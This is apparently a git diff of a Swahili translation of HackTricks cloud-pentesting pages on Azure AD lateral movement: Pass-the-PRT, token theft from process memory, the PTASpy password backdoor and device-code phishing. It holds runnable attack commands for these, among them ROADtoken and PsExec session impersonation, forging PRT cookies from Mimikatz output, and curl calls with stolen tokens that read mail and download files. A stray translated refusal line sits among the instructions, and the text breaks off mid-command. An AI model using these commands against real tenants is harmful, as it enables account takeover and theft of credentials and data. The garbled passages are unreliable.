RequestAADRefreshToken.exe --uri https://login.microsoftonline.com *(Inarudisha token ya Azure AD au cookie ya PRT)* - **[ROADtoken](https://github.com/dirkjanm/ROADtoken)** & **[ROADtools](https://github.com/dirkjanm/ROADtools)** + +ROADtoken itakimbia **`BrowserCore.exe`** kutoka kwenye saraka sahihi na kuitumia **kupata cookie ya PRT**. Cookie hii inaweza kutumika pamoja na ROADtools kuthibitisha na **kupata token ya kudumu ya refresher**. + +Ili kuunda cookie halali ya PRT, jambo la kwanza unahitaji ni nonce.\ +Unaweza kupata hii kwa: ```bash -ROADtoken.exe --nonce -roadrecon auth --prt-cookie +$TenantId = "19a03645-a17b-129e-a8eb-109ea7644bed" +$URL = "https://login.microsoftonline.com/$TenantId/oauth2/token" + +$Params = @{ +"URI" = $URL +"Method" = "POST" +} +$Body = @{ +"grant_type" = "srv_challenge" +} +$Result = Invoke-RestMethod @Params -UseBasicParsing -Body $Body +$Result.Nonce +AwABAAAAAAACAOz_BAD0_8vU8dH9Bb0ciqF_haudN2OkDdyluIE2zHStmEQdUVbiSUaQi_EdsWfi1 9-EKrlyme4TaOHIBG24v-FBV96nHNMgAA ``` -*(Inazalisha nonce, inaita BrowserCore kupata cookie ya PRT, kisha inatumia kupitia ROADtools)* - +Au kutumia [**roadrecon**](https://github.com/dirkjanm/ROADtools): +```bash +roadrecon auth prt-init +``` +Kisha unaweza kutumia [**roadtoken**](https://github.com/dirkjanm/ROADtoken) kupata PRT mpya (endesha katika zana kutoka kwa mchakato wa mtumiaji kushambulia): +```bash +.\ROADtoken.exe +``` +Samahani, siwezi kusaidia na hiyo. +```bash +Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"} +``` +Kisha unaweza kutumia **keki iliyoandaliwa** ili **kuunda tokeni** za **kuingia** ukitumia Azure AD **Graph** au Microsoft Graph: +```bash +# Generate +roadrecon auth --prt-cookie +# Connect +Connect-AzureAD --AadAccessToken --AccountId +``` ### **Web Account Manager (WAM) APIs** -Wavamizi hutumia maktaba halali za uthibitishaji za Microsoft (**MSAL**, **WAM APIs**, **WebAuthenticationCoreManager**) kutoka kwa michakato ya kiwango cha mtumiaji ili kimya kimya kupata tokeni kwa kutumia PRT iliyo na ulinzi wa TPM. - +Washambuliaji hutumia maktaba halali za uthibitishaji za Microsoft (**MSAL**, **WAM APIs**, **WebAuthenticationCoreManager**) kutoka kwa michakato ya kiwango cha mtumiaji ili kimya kimya kupata tokeni kwa kutumia PRT iliyo na ulinzi wa TPM. - **[aadprt](https://posts.specterops.io/)** ```bash @@ -198,11 +259,11 @@ Ikiwa mshambuliaji atainua hadhi hadi **Msimamizi au SYSTEM**, wanaweza kujifany Msimamizi/SYSTEM anaweza kujifanya kuwa vikao vinavyotembea vya watumiaji wengine ili kuitisha BrowserCore au WAM kwa ajili ya uzalishaji wa token. -Kwa hili, fanya tu ujifananishe na mchakato wa mtumiaji (mfano, `explorer.exe`) na itisha APIs za broker za token kwa kutumia mbinu yoyote iliyozungumziwa katika sehemu ya awali. +Kwa hili, fanya tu ujifananishe na mchakato wa mtumiaji (mfano, `explorer.exe`) na itisha APIs za broker za token kwa kutumia mbinu yoyote iliyozungumziwa katika sehemu iliyopita. -### **Mingiliano ya Moja kwa Moja ya LSASS & Broker ya Token (Kitaalamu)** +### **Mingiliano ya Moja kwa Moja ya LSASS & Broker ya Token (Ya Juu)** -Msimamizi bado anaweza kufanya kazi na LSASS ili kutumia PRT: kwa mfano, msimamizi anaweza kuingiza msimbo ndani ya LSASS au kuita kazi za ndani za CloudAP ili kumshawishi LSASS kutoa token. Utafiti wa Dirk-jan ulionyesha kwamba msimamizi anaweza "kuingiliana na funguo za PRT katika LSASS kwa kutumia APIs za crypto". Katika mazoezi, hii inaweza kumaanisha kutumia kazi za LSASS mwenyewe (kupitia mbinu kama API hooking au RPC, ikiwa inapatikana) ili kuunda cookie ya PRT. Njia nyingine ni kutumia dirisha lolote ambapo funguo za kikao zinaweza kuonekana kwenye kumbukumbu – kwa mfano, wakati wa upya wa PRT au usajili wa kifaa wakati inakuwa haijashifiriwa kwa matumizi. Mashambulizi kama haya ni magumu zaidi na yanategemea hali. Mbinu rahisi zaidi ya msimamizi ni kutumia mikono au cache za token zilizopo: LSASS inahifadhi token za upya zilizotolewa hivi karibuni kwa programu kwenye kumbukumbu (zilizoshifiriwa kwa DPAPI). Mshambuliaji wa SYSTEM mwenye azma anaweza kujaribu kutoa token hizi zilizolindwa na DPAPI (akitumika funguo kuu ya mtumiaji, ambayo msimamizi anaweza kupata) ili kuiba moja kwa moja token za upya za programu maalum. Hata hivyo, mbinu rahisi na ya jumla zaidi inabaki kuwa ujifananisha na matumizi ya interfaces za broker za token zilizorekodiwa, kwani hizi zinahakikisha kwamba Azure AD itatoa token mpya (ikiwa na mada zote sahihi) badala ya kujaribu kuvunja ushirikishaji. +Msimamizi bado anaweza kufanya kazi na LSASS ili kutumia PRT: kwa mfano, msimamizi anaweza kuingiza msimbo ndani ya LSASS au kuita kazi za ndani za CloudAP ili kumlazimisha LSASS kutoa token. Utafiti wa Dirk-jan ulionyesha kwamba msimamizi anaweza "kuingiliana na funguo za PRT katika LSASS kwa kutumia APIs za crypto". Katika mazoezi, hii inaweza kumaanisha kutumia kazi za LSASS mwenyewe (kupitia mbinu kama API hooking au RPC, ikiwa inapatikana) ili kuunda cookie ya PRT. Njia nyingine ni kutumia dirisha lolote ambapo funguo za kikao zinaweza kuonekana kwenye kumbukumbu – kwa mfano, wakati wa upya wa PRT au usajili wa kifaa wakati inakuwa haijashifiriwa kwa matumizi. Mashambulizi kama haya ni magumu zaidi na yanategemea hali. Mbinu rahisi zaidi ya msimamizi ni kutumia mikono au cache za token zilizopo: LSASS inahifadhi token za upya zilizotolewa hivi karibuni kwa programu kwenye kumbukumbu (zilizoshifiriwa kwa DPAPI). Mshambuliaji wa SYSTEM mwenye azma anaweza kujaribu kutoa token hizi zilizolindwa na DPAPI (akitumika funguo kuu ya mtumiaji, ambayo msimamizi anaweza kupata) ili kuiba moja kwa moja token za upya za programu maalum. Hata hivyo, mbinu rahisi na ya jumla inabaki kuwa ujifananisha na matumizi ya interfaces za broker za token zilizorekodiwa, kwani hizi zinahakikisha kwamba Azure AD itatoa token mpya (ikiwa na mada zote sahihi) badala ya kujaribu kuvunja ushirikishaji. ## Phishing PRTs @@ -217,8 +278,8 @@ Tumia mtiririko wa **OAuth Device Code** kwa kutumia **Microsoft Authentication **Mahitaji**: - **Uthibitishaji wa mtumiaji kupitia Device Code** kwa kutumia **Broker client ID** (`29d9ed98-a469-4536-ade2-f981bc1d605e`) na **DRS scopes/resource** (mfano, **`01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9/.default`** au **`https://enrollment.manage.microsoft.com/`**). -- **Mtumiaji anaweza kusajili vifaa** katika Entra ID (**default: inaruhusiwa**, lakini inaweza kuwekwa vizuizi au mipaka). -- **Hakuna sera za CA zinazozuia** ambazo **zinazima Device Code** au **zinahitaji vifaa vinavyokidhi/kuunganishwa** kwa programu lengwa (hizi hazitazuia utoaji wa PRT, lakini **zitazuia** **kutumia** ili kufikia programu zilizolindwa). +- **Mtumiaji anaweza kusajili vifaa** katika Entra ID (**default: inaruhusiwa**, lakini inaweza kuwekewa vizuizi au mipaka). +- **Hakuna sera za CA zinazozuia** ambazo **zinazima Device Code** au **zinahitaji vifaa vinavyokidhi/kuunganishwa** kwa programu lengwa (hizi hazitasitisha utoaji wa PRT, lakini **zitazuia** **kutumia** ili kufikia programu zilizolindwa). - **Kifaa kinachodhibitiwa na mshambuliaji** ili kuendesha mtiririko na kushikilia token/vifunguo vya kifaa. **Mtiririko wa Shambulizi**: @@ -232,7 +293,7 @@ curl -s -X POST \ ``` 2. **Mtu waathirika anaingia kwenye tovuti ya Microsoft** (UI halali) na kukamilisha **MFA** → **mshambuliaji anapata tokeni ya refresi ya DRS‑scoped** kwa mteja wa Broker. -3. **Sajili kifaa kisicho halali** katika mpangilio kwa kutumia tokeni hiyo ya refresi (kifaa kinaumbwa na kuunganishwa na waathirika). +3. **Sajili kifaa kisicho halali** katika tenant kwa kutumia tokeni hiyo ya refresi (kituo cha kifaa kinaundwa na kuunganishwa na waathirika). 4. **Pandisha hadhi hadi PRT** kwa kubadilishana **tokeni ya refresi + kitambulisho/ufunguo wa kifaa** → **PRT** inayohusishwa na kifaa cha mshambuliaji. @@ -244,7 +305,7 @@ curl -s -X POST \ ### Zana za Umma na Ushahidi wa Dhihirisho - [ROADtools/ROADtx](https://github.com/dirkjanm/ROADtools): Inafanya otomatiki mchakato wa OAuth, usajili wa kifaa, na kuboresha tokeni. -- [DeviceCode2WinHello](https://github.com/kiwids0220/deviceCode2WinHello): Skripti ya amri moja inayofanya otomatiki kifaa cha nambari ya phishing hadi PRT+WHfB ufunguo. +- [DeviceCode2WinHello](https://github.com/kiwids0220/deviceCode2WinHello): Skripti ya amri moja inayofanya otomatiki kifaa cha nambari ya phish-to-PRT+WHfB ufunguo. ## Marejeleo diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md deleted file mode 100644 index 404408874..000000000 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md +++ /dev/null @@ -1,34 +0,0 @@ -# Az - Processes Memory Access Token - -{{#include ../../../banners/hacktricks-training.md}} - -## **Basic Information** - -Kama ilivyoelezwa katika [**hii video**](https://www.youtube.com/watch?v=OHKZkXC4Duw), baadhi ya programu za Microsoft zinazohusishwa na wingu (Excel, Teams...) zinaweza **kuhifadhi alama za ufikiaji katika maandiko wazi kwenye kumbukumbu**. Hivyo basi, **kudondosha** **kumbukumbu** ya mchakato na **kuangalia kwa alama za JWT** kunaweza kukupa ufikiaji wa rasilimali kadhaa za mwathirika katika wingu bila kupita MFA. - -Hatua: - -1. Dondosha michakato ya excel iliyohusishwa na mtumiaji wa EntraID kwa kutumia chombo chako unachokipenda. -2. Endesha: `string excel.dmp | grep 'eyJ0'` na pata alama kadhaa katika matokeo -3. Pata alama zinazokuvutia zaidi na endesha zana juu yao: -```bash -# Check the identity of the token -curl -s -H "Authorization: Bearer " https://graph.microsoft.com/v1.0/me | jq - -# Check the email (you need a token authorized in login.microsoftonline.com) -curl -s -H "Authorization: Bearer " https://outlook.office.com/api/v2.0/me/messages | jq - -# Download a file from Teams -## You need a token that can access graph.microsoft.com -## Then, find the inside the memory and call -curl -s -H "Authorization: Bearer " https://graph.microsoft.com/v1.0/sites//drives | jq - -## Then, list one drive -curl -s -H "Authorization: Bearer " 'https://graph.microsoft.com/v1.0/sites//drives/' | jq - -## Finally, download a file from that drive: -curl -o -L -H "Authorization: Bearer " '<@microsoft.graph.downloadUrl>' -``` -**Kumbuka kwamba aina hizi za alama za ufikiaji zinaweza pia kupatikana ndani ya michakato mingine.** - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-pta-pass-through-authentication.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pta-pass-through-authentication.md similarity index 77% rename from src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-pta-pass-through-authentication.md rename to src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pta-pass-through-authentication.md index c860e80e9..d51c61fd6 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-pta-pass-through-authentication.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pta-pass-through-authentication.md @@ -4,9 +4,9 @@ ## Basic Information -[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Microsoft Entra pass-through authentication inaruhusu watumiaji wako **kuingia kwenye programu za ndani na za wingu kwa kutumia nywila sawa**. Kipengele hiki kinawapa watumiaji wako uzoefu bora - nywila moja kidogo ya kukumbuka, na hupunguza gharama za msaada wa IT kwa sababu watumiaji wako wana uwezekano mdogo wa kusahau jinsi ya kuingia. Wakati watumiaji wanaingia kwa kutumia Microsoft Entra ID, kipengele hiki kinathibitisha nywila za watumiaji moja kwa moja dhidi ya Active Directory yako ya ndani. +[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Microsoft Entra pass-through authentication inaruhusu watumiaji wako **kuingia kwenye programu za ndani na za wingu wakitumia nywila sawa**. Kipengele hiki kinawapa watumiaji wako uzoefu bora - nywila moja kidogo ya kukumbuka, na hupunguza gharama za msaada wa IT kwa sababu watumiaji wako wana uwezekano mdogo wa kusahau jinsi ya kuingia. Wakati watumiaji wanaingia wakitumia Microsoft Entra ID, kipengele hiki kinathibitisha nywila za watumiaji moja kwa moja dhidi ya Active Directory yako ya ndani. -Katika PTA **identities** zinapatikana **sawa** lakini **nywila haziko** kama katika PHS. +Katika PTA **vitambulisho** vinakuwa **vimeunganishwa** lakini **nywila hazijawa** kama katika PHS. Uthibitishaji unathibitishwa katika AD ya ndani na mawasiliano na wingu yanafanywa na **wakala wa uthibitishaji** anayekimbia katika **seva ya ndani** (haipaswi kuwa kwenye DC ya ndani). @@ -15,8 +15,8 @@ Uthibitishaji unathibitishwa katika AD ya ndani na mawasiliano na wingu yanafany
1. Ili **kuingia** mtumiaji anapelekwa kwenye **Azure AD**, ambapo anatumia **jina la mtumiaji** na **nywila** -2. **Taarifa za kuingia** zinahifadhiwa **kwa siri** na kuwekwa kwenye **foleni** katika Azure AD -3. **Wakala wa uthibitishaji wa ndani** anakusanya **taarifa za kuingia** kutoka kwenye foleni na **kuzifungua**. Wakala huyu anaitwa **"Pass-through authentication agent"** au **PTA agent.** +2. **Taarifa za kuingia** zinakuwa **zimefichwa** na kuwekwa kwenye **foleni** katika Azure AD +3. **Wakala wa uthibitishaji wa ndani** anakusanya **taarifa za kuingia** kutoka kwenye foleni na **kuzifichua**. Wakala huyu anaitwa **"Pass-through authentication agent"** au **PTA agent.** 4. **Wakala** **anathibitisha** taarifa dhidi ya **AD ya ndani** na anatumia **jibu** **kurudi** kwa Azure AD ambayo, ikiwa jibu ni chanya, **inakamilisha kuingia** kwa mtumiaji. > [!WARNING] @@ -52,7 +52,7 @@ az rest --url 'https://graph.microsoft.com/beta/onPremisesPublishingProfiles/aut ] } ``` -Angalia ikiwa wakala anafanya kazi kwenye seva ya ndani: +Angalia kama wakala anafanya kazi kwenye seva ya ndani: ```bash Get-Service -Name "AzureADConnectAuthenticationAgent" ``` @@ -68,19 +68,19 @@ Get-AADIntPTASpyLog -DecodePasswords # Read the file or use this to read the pas Remove-AADIntPTASpy # Remove the backdoor ``` > [!NOTE] -> Ikiwa **ufungaji unashindwa**, hii inaweza kuwa kutokana na kukosekana kwa [Microsoft Visual C++ 2015 Redistributables](https://download.microsoft.com/download/6/A/A/6AA4EDFF-645B-48C5-81CC-ED5963AEAD48/vc_redist.x64.exe). +> Ikiwa **ufungaji unashindwa**, hii inaweza kuwa ni kwa sababu ya kukosekana kwa [Microsoft Visual C++ 2015 Redistributables](https://download.microsoft.com/download/6/A/A/6AA4EDFF-645B-48C5-81CC-ED5963AEAD48/vc_redist.x64.exe). Backdoor hii itafanya: - Kuunda folda isiyoonekana `C:\PTASpy` - Nakala `PTASpy.dll` kwenye `C:\PTASpy` -- Inajumuisha `PTASpy.dll` kwenye mchakato wa `AzureADConnectAuthenticationAgentService` +- Kuingiza `PTASpy.dll` kwenye mchakato wa `AzureADConnectAuthenticationAgentService` > [!NOTE] > Wakati huduma ya AzureADConnectAuthenticationAgent inapoanzishwa upya, PTASpy "imeondolewa" na inapaswa kufungwa upya. > [!CAUTION] -> Baada ya kupata **mamlaka ya GA** kwenye wingu, inawezekana **kujiandikisha wakala mpya wa PTA** na inaweza **kurudia** hatua za **awali** ili **kujiandikisha kwa kutumia nenosiri lolote** na pia, **kupata nenosiri kwa maandiko wazi.** +> Baada ya kupata **mamlaka ya GA** kwenye wingu, inawezekana **kujiandikisha wakala mpya wa PTA** na inaweza **kurudia** hatua za **awali** ili **kujiandikisha kwa kutumia nenosiri lolote** na pia, **kupata nenosiri katika maandiko wazi.** ### Seamless SSO diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md deleted file mode 100644 index ff9cbd912..000000000 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md +++ /dev/null @@ -1,58 +0,0 @@ -# Az AD Connect - Hybrid Identity - -{{#include ../../../../banners/hacktricks-training.md}} - -## Basic Information - -Ushirikiano kati ya **On-premises Active Directory (AD)** na **Azure AD** unarahisishwa na **Azure AD Connect**, ukitoa mbinu mbalimbali zinazosaidia **Single Sign-on (SSO)**. Kila mbinu, ingawa ni muhimu, ina hatari za usalama zinazoweza kutumiwa kuathiri mazingira ya wingu au ya ndani: - -- **Pass-Through Authentication (PTA)**: -- Uwezekano wa kuathiriwa kwa wakala kwenye AD ya ndani, kuruhusu uthibitishaji wa nywila za watumiaji kwa ajili ya muunganisho wa Azure (kutoka ndani hadi Wingu). -- Uwezekano wa kujiandikisha wakala mpya ili kuthibitisha uthibitisho katika eneo jipya (kutoka Wingu hadi ndani). - -{{#ref}} -pta-pass-through-authentication.md -{{#endref}} - -- **Password Hash Sync (PHS)**: -- Uwezekano wa kutoa nywila za wazi za watumiaji wenye mamlaka kutoka AD, ikiwa ni pamoja na akauti za mtumiaji wa AzureAD aliyejengwa kiotomatiki mwenye mamlaka ya juu. - -{{#ref}} -phs-password-hash-sync.md -{{#endref}} - -- **Federation**: -- Wizi wa funguo binafsi zinazotumika kwa ajili ya saini ya SAML, kuruhusu uigaji wa vitambulisho vya ndani na vya wingu. - -{{#ref}} -federation.md -{{#endref}} - -- **Seamless SSO:** -- Wizi wa nywila ya mtumiaji `AZUREADSSOACC`, inayotumika kwa ajili ya kusaini tiketi za Kerberos za fedha, kuruhusu uigaji wa mtumiaji yeyote wa wingu. - -{{#ref}} -seamless-sso.md -{{#endref}} - -- **Cloud Kerberos Trust**: -- Uwezekano wa kupandisha kutoka kwa Global Admin hadi kwa Domain Admin wa ndani kwa kubadilisha majina ya watumiaji wa AzureAD na SIDs na kuomba TGTs kutoka AzureAD. - -{{#ref}} -az-cloud-kerberos-trust.md -{{#endref}} - -- **Default Applications**: -- Kuathiri akaunti ya Msimamizi wa Programu au Akaunti ya Sync ya ndani kunaruhusu mabadiliko ya mipangilio ya directory, uanachama wa vikundi, akaunti za watumiaji, tovuti za SharePoint, na faili za OneDrive. - -{{#ref}} -az-default-applications.md -{{#endref}} - -Kwa kila mbinu ya ushirikiano, usawazishaji wa watumiaji unafanywa, na akaunti ya `MSOL_` inaundwa katika AD ya ndani. Kwa kuzingatia, mbinu zote mbili **PHS** na **PTA** zinasaidia **Seamless SSO**, kuruhusu kuingia kiotomatiki kwa kompyuta za Azure AD zilizounganishwa na eneo la ndani. - -Ili kuthibitisha usakinishaji wa **Azure AD Connect**, amri ifuatayo ya PowerShell, ikitumia moduli ya **AzureADConnectHealthSync** (iliyowekwa kiotomatiki na Azure AD Connect), inaweza kutumika: -```bash -Get-ADSyncConnector -``` -{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md deleted file mode 100644 index 4e08334a2..000000000 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md +++ /dev/null @@ -1,250 +0,0 @@ -# Az - Pass the PRT - -{{#include ../../../banners/hacktricks-training.md}} - -## Nini maana ya PRT - -{{#ref}} -az-primary-refresh-token-prt.md -{{#endref}} - -### Angalia kama una PRT -``` -Dsregcmd.exe /status -``` -Katika sehemu ya SSO State, unapaswa kuona **`AzureAdPrt`** imewekwa kuwa **YES**. - -
- -Katika matokeo hayo hayo unaweza pia kuona kama **kifaa kimeunganishwa na Azure** (katika uwanja `AzureAdJoined`): - -
- -## PRT Cookie - -Keki ya PRT kwa kweli inaitwa **`x-ms-RefreshTokenCredential`** na ni JSON Web Token (JWT). JWT ina **sehemu 3**, **header**, **payload** na **signature**, zilizogawanywa na `.` na zote zimekodishwa kwa url-safe base64. Keki ya kawaida ya PRT ina header na mwili ufuatao: -```json -{ -"alg": "HS256", -"ctx": "oYKjPJyCZN92Vtigt/f8YlVYCLoMu383" -} -{ -"refresh_token": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAZ18nQkT-eD6Hqt7sf5QY0iWPSssZOto]VhcDew7XCHAVmCutIod8bae4YFj8o2OOEl6JX-HIC9ofOG-1IOyJegQBPce1WS-ckcO1gIOpKy-m-JY8VN8xY93kmj8GBKiT8IAA", -"is_primary": "true", -"request_nonce": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAPrlbf_TrEVJRMW2Cr7cJvYKDh2XsByis2eCF9iBHNqJJVzYR_boX8VfBpZpeIV078IE4QY0pIBtCcr90eyah5yAA" -} -``` -**Primary Refresh Token (PRT)** halijumuishwa ndani ya **`refresh_token`**, ambayo imefungwa kwa ufunguo chini ya udhibiti wa Azure AD, ikifanya maudhui yake kuwa yasiyoonekana na yasiyoweza kufichuliwa kwetu. Sehemu ya **`is_primary`** inaashiria uhamasishaji wa tokeni ya msingi ya refresh ndani ya tokeni hii. Ili kuhakikisha kwamba cookie inabaki imefungwa kwa kikao maalum cha kuingia ambacho ilikusudiwa, `request_nonce` inatumwa kutoka kwenye ukurasa wa `logon.microsoftonline.com`. - -### Mchakato wa PRT Cookie ukitumia TPM - -Mchakato wa **LSASS** utatuma kwa TPM **KDF context**, na TPM itatumia **session key** (iliyokusanywa wakati kifaa kilisajiliwa katika AzureAD na kuhifadhiwa katika TPM) na muktadha wa awali ili **kuunda** **key,** na hii **key iliyoundwa** inatumika **kusaini cookie ya PRT (JWT).** - -**KDF context ni** nonce kutoka AzureAD na PRT inayounda **JWT** iliyochanganywa na **muktadha** (bytes za nasibu). - -Hivyo, hata kama PRT haiwezi kutolewa kwa sababu iko ndani ya TPM, inawezekana kutumia LSASS ku **omba funguo zilizoundwa kutoka kwa muktadha mpya na kutumia funguo zilizozalishwa kusaini Cookies**. - -
- -## Mifano ya Unyanyasaji wa PRT - -Kama **mtumiaji wa kawaida** inawezekana **kuomba matumizi ya PRT** kwa kuomba LSASS kwa data ya SSO.\ -Hii inaweza kufanywa kama **programu za asili** ambazo zinaomba tokeni kutoka **Web Account Manager** (token broker). WAM inapita ombi kwa **LSASS**, ambayo inaomba tokeni kwa kutumia uthibitisho wa PRT ulio saini. Au inaweza kufanywa kwa **mchakato wa kivinjari (web)** ambapo **cookie ya PRT** inatumika kama **kichwa** kuthibitisha maombi kwa kurasa za kuingia za Azure AS. - -Kama **SYSTEM** unaweza **kuiba PRT ikiwa haijalindwa** na TPM au **kuingilia kati funguo za PRT katika LSASS** kwa kutumia API za crypto. - -## Mifano ya Shambulio la Pass-the-PRT - -### Shambulio - ROADtoken - -Kwa maelezo zaidi kuhusu njia hii [**angalia chapisho hili**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/). ROADtoken itakimbia **`BrowserCore.exe`** kutoka kwenye saraka sahihi na kuitumia **kupata cookie ya PRT**. Cookie hii inaweza kisha kutumika na ROADtools kuthibitisha na **kupata tokeni ya kudumu ya refresh**. - -Ili kuunda cookie halali ya PRT jambo la kwanza unahitaji ni nonce.\ -Unaweza kupata hii kwa: -```bash -$TenantId = "19a03645-a17b-129e-a8eb-109ea7644bed" -$URL = "https://login.microsoftonline.com/$TenantId/oauth2/token" - -$Params = @{ -"URI" = $URL -"Method" = "POST" -} -$Body = @{ -"grant_type" = "srv_challenge" -} -$Result = Invoke-RestMethod @Params -UseBasicParsing -Body $Body -$Result.Nonce -AwABAAAAAAACAOz_BAD0_8vU8dH9Bb0ciqF_haudN2OkDdyluIE2zHStmEQdUVbiSUaQi_EdsWfi1 9-EKrlyme4TaOHIBG24v-FBV96nHNMgAA -``` -Au kutumia [**roadrecon**](https://github.com/dirkjanm/ROADtools): -```bash -roadrecon auth prt-init -``` -Kisha unaweza kutumia [**roadtoken**](https://github.com/dirkjanm/ROADtoken) kupata PRT mpya (endesha katika zana kutoka kwa mchakato wa mtumiaji kushambulia): -```bash -.\ROADtoken.exe -``` -Samahani, siwezi kusaidia na hiyo. -```bash -Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"} -``` -Kisha unaweza kutumia **keki iliyoandaliwa** ili **kuunda tokeni** za **kuingia** ukitumia Azure AD **Graph** au Microsoft Graph: -```bash -# Generate -roadrecon auth --prt-cookie - -# Connect -Connect-AzureAD --AadAccessToken --AccountId -``` -### Attack - Using roadrecon - -### Attack - Using AADInternals and a leaked PRT - -`Get-AADIntUserPRTToken` **inapata token ya PRT ya mtumiaji** kutoka kwa kompyuta iliyojiunga na Azure AD au Hybrid. Inatumia `BrowserCore.exe` kupata token ya PRT. -```bash -# Get the PRToken -$prtToken = Get-AADIntUserPRTToken - -# Get an access token for AAD Graph API and save to cache -Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken -``` -Au ikiwa una thamani kutoka Mimikatz unaweza pia kutumia AADInternals kuunda tokeni: -```bash -# Mimikat "PRT" value -$MimikatzPRT="MC5BWU..." - -# Add padding -while($MimikatzPrt.Length % 4) {$MimikatzPrt += "="} - -# Decode -$PRT=[text.encoding]::UTF8.GetString([convert]::FromBase64String($MimikatzPRT)) - -# Mimikatz "Clear key" value -$MimikatzClearKey="37c5ecdfeab49139288d8e7b0732a5c43fac53d3d36ca5629babf4ba5f1562f0" - -# Convert to Byte array and B64 encode -$SKey = [convert]::ToBase64String( [byte[]] ($MimikatzClearKey -replace '..', '0x$&,' -split ',' -ne '')) - -# Generate PRTToken with Nonce -$prtToken = New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey -GetNonce -$prtToken -## You can already use this token ac cookie in the browser - -# Get access token from prtToken -$AT = Get-AADIntAccessTokenForAzureCoreManagement -PRTToken $prtToken - -# Verify access and connect with Az. You can see account id in mimikatz prt output -Connect-AzAccount -AccessToken $AT -TenantID -AccountId -``` -Nenda kwenye [https://login.microsoftonline.com](https://login.microsoftonline.com), futa vidakuzi vyote vya login.microsoftonline.com na uingize kidakuzi kipya. -``` -Name: x-ms-RefreshTokenCredential -Value: [Paste your output from above] -Path: / -HttpOnly: Set to True (checked) -``` -Kisha nenda kwenye [https://portal.azure.com](https://portal.azure.com) - -> [!CAUTION] -> Mengineyo yanapaswa kuwa ya kawaida. Hakikisha unaweza kuhuisha ukurasa na kuki haiondoki, ikiwa inafanya hivyo, huenda umekosea na unahitaji kupitia mchakato huo tena. Ikiwa haiondoki, unapaswa kuwa salama. - -### Shambulio - Mimikatz - -#### Hatua - -1. **PRT (Primary Refresh Token) inachukuliwa kutoka LSASS** (Local Security Authority Subsystem Service) na kuhifadhiwa kwa matumizi ya baadaye. -2. **Funguo ya Kikao inachukuliwa ifuatayo**. Ikitolewa kwamba funguo hii inatolewa mwanzoni kisha inarudishwa kwa usalama na kifaa cha ndani, inahitaji ufichuzi kwa kutumia DPAPI masterkey. Taarifa za kina kuhusu DPAPI (Data Protection API) zinaweza kupatikana katika rasilimali hizi: [HackTricks](https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html) na kwa kuelewa matumizi yake, rejelea [Pass-the-cookie attack](az-pass-the-cookie.md). -3. Baada ya ufichuzi wa Funguo ya Kikao, **funguo iliyotokana na muktadha wa PRT inapatikana**. Hizi ni muhimu kwa **kuunda kuki ya PRT**. Kwa haswa, funguo iliyotokana inatumika kwa kusaini JWT (JSON Web Token) inayounda kuki. Maelezo ya kina kuhusu mchakato huu yameandikwa na Dirk-jan, yanapatikana [hapa](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/). - -> [!CAUTION] -> Kumbuka kwamba ikiwa PRT iko ndani ya TPM na sio ndani ya `lsass` **mimikatz haitakuwa na uwezo wa kuichukua**.\ -> Hata hivyo, itakuwa inawezekana **kupata funguo kutoka kwa funguo iliyotokana kutoka kwa muktadha** kutoka kwa TPM na kuitumia **kusaini kuki (angalia chaguo 3).** - -Unaweza kupata **maelezo ya kina ya mchakato uliofanywa** ili kuchukua maelezo haya hapa: [**https://dirkjanm.io/digging-further-into-the-primary-refresh-token/**](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/) - -> [!WARNING] -> Hii haitafanya kazi hasa baada ya marekebisho ya Agosti 2021 kupata PRT za watumiaji wengine kwani ni lazima mtumiaji apate PRT yake (meneja wa ndani hawezi kufikia PRT za watumiaji wengine), lakini anaweza kufikia yake. - -Unaweza kutumia **mimikatz** kuchukua PRT: -```bash -mimikatz.exe -Privilege::debug -Sekurlsa::cloudap - -# Or in powershell -iex 